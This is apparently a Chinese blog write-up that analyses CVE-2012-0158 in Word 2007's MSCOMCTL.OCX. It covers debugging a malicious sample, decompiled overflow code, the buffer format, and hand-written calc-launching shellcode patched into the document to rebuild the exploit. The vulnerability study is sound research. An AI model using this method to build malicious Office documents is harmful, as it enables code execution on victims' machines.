1. 程式人生 > >CVE-2012-0158 分析

CVE-2012-0158 分析

目錄

CVE-2012-0158 分析&利用

分析思路:通過word文件樣本除錯分析漏洞觸發處

1、實驗環境

  • WINDOWS 7 SP1 32位系統
  • Microsoft office word 2007 (12.0.4518.1014)
  • IDA Pro 7.0
  • OD吾愛破解專用版
  • WinHex

2、下載poc樣本

​ POC樣本是使用的是看雪論壇一篇CVE-2012-0158分析文章中提供的POC樣本。

樣本下載地址:https://bbs.pediy.com/thread-207638.htm

​ 下載好了sample.doc之後,使用word 2007開啟會彈出一個計算器:

​ 彈出計算器後,word立即關閉。並且大小從原來的134kb變為了12kb,再次開啟該文件:

出現警告,繼續開啟,發現樣本再也無法彈出計算器了。這要麼是word對其進行了處理,要麼就是樣本自身進行了”自我廋身“。

​ 因為樣本的這個特性,所以每次都只有一次除錯分析機會。我提前做好了樣本的備份,每次分析都會使用一個bat檔案,將樣本複製一份來進行分析。從而避免每次都從原網站下載該樣本。

3、除錯並找到漏洞觸發點

​ 既然彈出了計算器,那麼猜測呼叫了WinExec函式。考慮使用OD下API斷點。首先開啟word 2007,使用OD附加到word 2007上。並執行如下操作:

執行了上圖的命令之後就給WinExec函式下了斷點,當程式執行呼叫WinExec函式時將會偵錯程式將會斷下。繼續執行word 2007,使用它開啟sample.doc。OD偵錯程式對WinExec函式下的軟體斷點觸發。此時的堆疊如圖顯示:

額,臥槽,cmdLine引數居然是"C:\User\pc207\a.exe"。我電腦上什麼時候有的這個a.exe啊?於是我跟著這個路徑去看,發現居然真他媽的多出了個a.exe!!!,檢視其出生日期,媽的不就是剛剛嗎???

所以說,這個a.exe應該就是這個sample.doc生出來的。現在大概知道了這個sample.doc執行會在使用者目錄下生出一個a.exe的計算器程式,並且呼叫WinExec函式執行它。

繼續檢視棧,WinExec函式執行完的返回地址為:0x272228,這個地址是很明顯的棧地址空間(使用OD檢視記憶體區段分佈可得出該結論)。於是可以判斷,這是個棧溢位。

那麼我們可以看看0x272228的反彙編:

還真是棧溢位的shellcode的樣子。

那麼怎麼知道在執行這段棧中shellcode之前,程式執行在哪個函式中呢?即到底是在哪個函式中發生的棧溢位呢?1、可以對這段棧下寫入記錄斷點,然後慢慢調。2、檢視現有堆疊中是否還存留一些返回地址資訊。

我運氣比較好,這個樣本留有一些資訊給我。如下圖:

返回到MSCMCTL.275c8A0A ,那就跳過去下個斷點,重新除錯 看看是WinExec的斷點先觸發,還是MSCMCTL.275c8A0A 的斷點先觸發。

再次除錯,發現並不是我想的那樣,是在MSCOMCTL.275c876D中出現的呼叫的WinExec。但是細心的我發現在沒call MSCOMCTL.275c876d之前,棧回溯是可以的,即棧沒有被破壞,但是執行了call MSCOMCTL.275c876d之後棧回溯居然被破壞掉了!!!如下圖,我轉到EBP,發現EBP的值居然為0了:

那麼我繼續單步走,發現就是在執行call MSCOMCTL.275c876d的這個函式裡面,發生的堆疊溢位,並且在最後ret 0x8的時候返回到了0x7ffa4512處(上圖ebp下面哪個就是返回地址),所以MSCOMCTL.275c876d執行了類似memcpy的功能,造成了棧溢位。

而0x7ffa4512處不出意外應該就是:jmp esp

好了,再次重新除錯,我們在執行call MSCOMCTL.275c876d之前看棧回溯,看看執行call MSCOMCTL.275c876d的函式的名字。

可以看到返回地址是0x275e701a,反彙編視窗跟隨到該地址,得到執行call MSCOMCTL.275c876d的函式的名字為:MSCOMCTL.275c89c7

好,現在可以使用我們的神器IDA Pro來分析一下這個函數了。分析模組為C:\windows\system32\MSCOMCTL.OCX 。

4、分析漏洞觸發模組及流程

將其用IDA開啟,定位到MSCOMCTL.275c89c7函式。F5檢視其程式碼:

int __stdcall sub_275C89C7(int a1, BSTR bstrString)
{
  BSTR v2; // ebx
  int result; // eax
  int v4; // esi
  int v5; // [esp+Ch] [ebp-14h]
  SIZE_T dwBytes; // [esp+14h] [ebp-Ch]
  int v7; // [esp+18h] [ebp-8h]
  int v8; // [esp+1Ch] [ebp-4h]

  v2 = bstrString;
  result = sub_275C876D((int)&v5, bstrString, 0xCu);
  if ( result >= 0 )
  {
    if ( v5 == 1784835907 && dwBytes >= 8 )//大於8溢位
    {
      v4 = sub_275C876D((int)&v7, v2, dwBytes);//這兒發生的棧溢位
      if ( v4 >= 0 )
      {
        if ( !v7 )
          goto LABEL_8;
        bstrString = 0;
        v4 = sub_275C8A59((UINT)&bstrString, (int)v2);
        if ( v4 >= 0 )
        {
          sub_27585BE7(bstrString);
          SysFreeString(bstrString);
LABEL_8:
          if ( v8 )
            v4 = sub_275C8B2B(a1 + 20, v2);
          return v4;
        }
      }
      return v4;
    }
    result = -2147418113;
  }
  return result;
}

好,下面我給出開啟sample.doc,是上述程式碼的執行流程:

堆疊示意圖:

  1. 首先執行第12行程式碼,result = sub_275C876D((int)&v5, bstrString, 0xCu);,從執行的結果來看這個函式複製了12個位元組的資料到了v5,那麼就會dwbytes也會被影響。執行完這句之後,V5 ="Cobjd",dwbytes=0x8282
  2. sub_275c876d執行成功返回0,執行到第15行,判斷v5是否為"Cobjd"且dwbytes是否大於等於8。條件滿足!!!
  3. 繼續執行第17行:v4 = sub_275C876D((int)&v7, v2, dwBytes); 由上述我們可以猜到,sub_275c876D應該是複製dwBytes個位元組到v7,即複製0x8282個位元組到v7,那麼造成了棧溢位,覆蓋返回地址。從執行結果來看,v7=v8=ebp=0,返回地址指向了jmp esp的地址。且函式返回0。
  4. 因為v7=0;所以執行第21行goto LABEL_8;
  5. 因為v8=0;所以執行第31行return v4
  6. 然後就會jmp esp,開始執行攻擊者構造的shellcode了。

你覺得這樣就算分析完了嗎???不行,老子要來提問題了!!!

  • 問題1:不知道你娃注意到沒有該函式前後呼叫了兩次sub_275C876D函式,而且他們的第二個引數都是一樣的!都是引數&bstrString。 什麼你要槓?第二個sub_275C876D的引數不是&v2嗎? 我日,你眼睛瞎了哇!去看第11行!那麼按照猜想,第一次複製了12個位元組,第二次複製0x8282個位元組的時候前12個位元組應該也和複製12個位元組時一樣啊。但是結果是,第二次調sub_275C876D得到的前12個位元組並不是"Cobjd"和0x8282。我日,看來sub_275C876D裡面還是有點鬼的。沒事,老子有IDA pro 7.0 ,虛毛線。上F5!

    int __cdecl sub_275C876D(int a1, LPVOID lpMem, SIZE_T dwBytes)
    {
      LPVOID v3; // ebx
      int result; // eax
      LPVOID v5; // eax
      int v6; // esi
      int v7; // [esp+Ch] [ebp-4h]
      void *lpMema; // [esp+1Ch] [ebp+Ch]
    
      v3 = lpMem;
      result = (*(int (__stdcall **)(LPVOID, int *, signed int, _DWORD))(*(_DWORD *)lpMem + 12))(lpMem, &v7, 4, 0);
      if ( result >= 0 )
      {
        if ( v7 == dwBytes )
        {
          v5 = HeapAlloc(hHeap, 0, dwBytes);
          lpMema = v5;
          if ( v5 )
          {
            v6 = (*(int (__stdcall **)(LPVOID, LPVOID, SIZE_T, _DWORD))(*(_DWORD *)v3 + 12))(v3, v5, dwBytes, 0);
            if ( v6 >= 0 )
            {
              qmemcpy((void *)a1, lpMema, dwBytes);
              v6 = (*(int (__stdcall **)(LPVOID, void *, SIZE_T, _DWORD))(*(_DWORD *)v3 + 12))(
                     v3,
                     &unk_27632368,
                     ((dwBytes + 3) & 0xFFFFFFFC) - dwBytes,
                     0);
            }
            HeapFree(hHeap, 0, lpMema);
            result = v6;
          }
          else
          {
            result = -2147024882;
          }
        }
        else
        {
          result = -2147418113;
        }
      }
      return result;
    }

    看到第11行,第20行,第24行那種呼叫,我就曉得了,這個lpMem即bstrString應該是個類。

    我除錯了n遍這個函式,我大致說下這個函式的流程。

    1. 首先,11行呼叫它這個類的成員函式,從一個buffer中獲取前4個位元組的值存到區域性變數v7中。
    2. 接著判斷這個v7和我們傳進來的哪個dwbytes相比較,一樣則滿足要求繼續執行。
    3. 接著第16行,使用HeapAlloc分配dwbytes這麼大的空間v5。
    4. 分配成功,就又呼叫它這個類的成員函式(和第11行哪個一樣),從結果分析是讀取了dwbytes個位元組到了剛剛使用HeapAlloc分配的v5中。
    5. 然後就會執行第23行,qmemcpy拷貝dwbytes個位元組的資料到a1,a1即sub_275C876D的第一個引數的地址處。
    6. 然後第24行處的函式呼叫(和第11行的函式是一個函式)我沒看懂。沒啥影響。哦哦,反正要保證第三個引數為0。
    7. 然後呼叫HeapFree釋放v5,返回函式。

    經過一些列分析我終於頓悟了它這個成員函式的功能。它這個類中有一個buffer,以及一個偏移量offset,而這個buffer它是有格式的(經過我的除錯得出的結論):

1、所以第一次呼叫那個成員函式,獲取4個位元組的資料是長度,然後offset = offset+4

2、判斷資料長度是否和sub_275C876D傳入的dwbytes一致,一致則繼續

3、接著第二次呼叫哪個成員函式,從offset處獲取dwbytes個位元組到HeapAllocate獲取的緩衝區裡面。並offset=offset+dwbytes

4、如果要繼續正確讀取後面的buffer,那麼第三次呼叫那個成員函式的時候,第三個引數要為0。

我想如果我的猜測正確那麼這段buffer就應該是這樣的:

但是!我他媽換了幾個Hex編輯器,搜"Cobj"都沒有搜尋到!搜0x8282也沒有....結果,他媽的,我靈光一閃,找到了答案。wqnmlgb,資料居然都是用字元這種形式存的。。。。所以你要搜8282,就搜Hex: 38323832

你說坑不坑。。。。。

結果不出所料,果然和我想像的buffer格式一模一樣。哈哈哈哈哈哈哈哈。上圖:

稍微排列一下:

  • 問題2:那你娃咋個自己寫一個sample.doc哇。

    emmmm,我就是個初入漏洞分析的菜鳥,這是我調的第二個洞,也是第一個office洞。我不清楚啥子COM,ActiveX,OLE,還有VBS,巨集。所以要我自己寫一個那是不可能的。技術還不夠。所以一不做,二不休,我就用這個sample.doc來做。改一改就行了,彈個計算器的shellcode又不是寫不來。下面看我施展我的絕技:偷天換日 神功。

5、漏洞利用

  • shellcode編寫:最基本的東西我不想過多解釋,直接上程式碼:篇幅有限,沒做ExitProcess

      _asm
      {
          //int 3
          mov eax,fs:[0x30];// peb
          mov ebx,[eax+0xc]; //peb->Ldr
          mov esi,[ebx+0x14];//peb->Ldr.Inmemorder
          lodsd ;//eax="ntdll.dll"
          xchg eax,esi;
          lodsd ;//eax="kernel32.dll"
          mov ebx,[eax+0x10]; //ebx = base address
    
          mov edx,[ebx+0x3c]; //DOS->e_ifanew
          add edx,ebx; // PE header
          mov edx,[edx+0x78];// edx = offset of EAT
          add edx,ebx;// EAT
    
          mov esi,[edx+0x20]; //Address of Names(RVA)
          add esi,ebx ;//Name Table
          xor ecx,ecx ;//index=0
    
    Find_index:
          inc ecx;
          lodsd ;//mov eax,[esi] RVA
          add eax,ebx;
          cmp dword ptr[eax],0x50746547;//PteG
          jnz Find_index ;
          cmp dword ptr[eax+0x4],0x41636f72;//Acor
          jnz Find_index ;
          cmp dword ptr[eax+0x8],0x65726464; //erdd
          jnz Find_index;
          //get!
          mov esi,[edx+0x24] ;//AddressOfNameOrdinals RVA
          add esi,ebx ;//Ord Table
          mov cx,[esi+ecx*2];//cx = realindex
    
          mov esi,[edx+0x1c];//AddressOfFunction RVA
          add esi,ebx ;//
          dec ecx;// indx-1
          mov edx,[esi+ecx*4];
          add edx,ebx;//GetProcAddress real address
    
    
    
          push 0x00636578;//xec
          push 0x456E6957;//WinE
          push esp;
          push ebx;
          call edx;
    
          push 0;
          push 0x636c6163;//calc
          mov edi,esp;
          push 0;
          push edi;
          call eax;
  • 提取shellcode,覆蓋到原來的sample.doc

    自己寫個程式來完成這個任務。就是將shellocde 轉成字元儲存到sample.doc的shellcode處(ebp+10h處)的一個c程式。

    完成之後是這個效果:

執行我自己的sample.doc截圖如下:

6、總結

這個漏洞是經典的office漏洞,也是經典的棧溢位漏洞。因為沒有pdb檔案,所以分析起來很吃力,也是第二次分析漏洞。emmm,我感覺我猜測的能力有上了一個臺階。中間有些四川話,可能影響閱讀,請不要在意。哦哦,忘了說一句,因為sub_275C876D有個ret 8,所以真正的shellcode應該在ebp+10h處開始。

網上那些分析這個洞的除錯符號不曉得哪兒來的,我沒找到,但是我還是可以分析。

另外,他們沒有分析那個buffer的資料格式,都是直接說那個函式做了複製,但是都沒注意到,兩次呼叫都是一樣的引數。但是,我看到了這點,我分析出來了。(666,自我鼓勵。。)

7、參考資料

1:https://bbs.pediy.com/thread-207638.htm "CVE-2012-0158分析"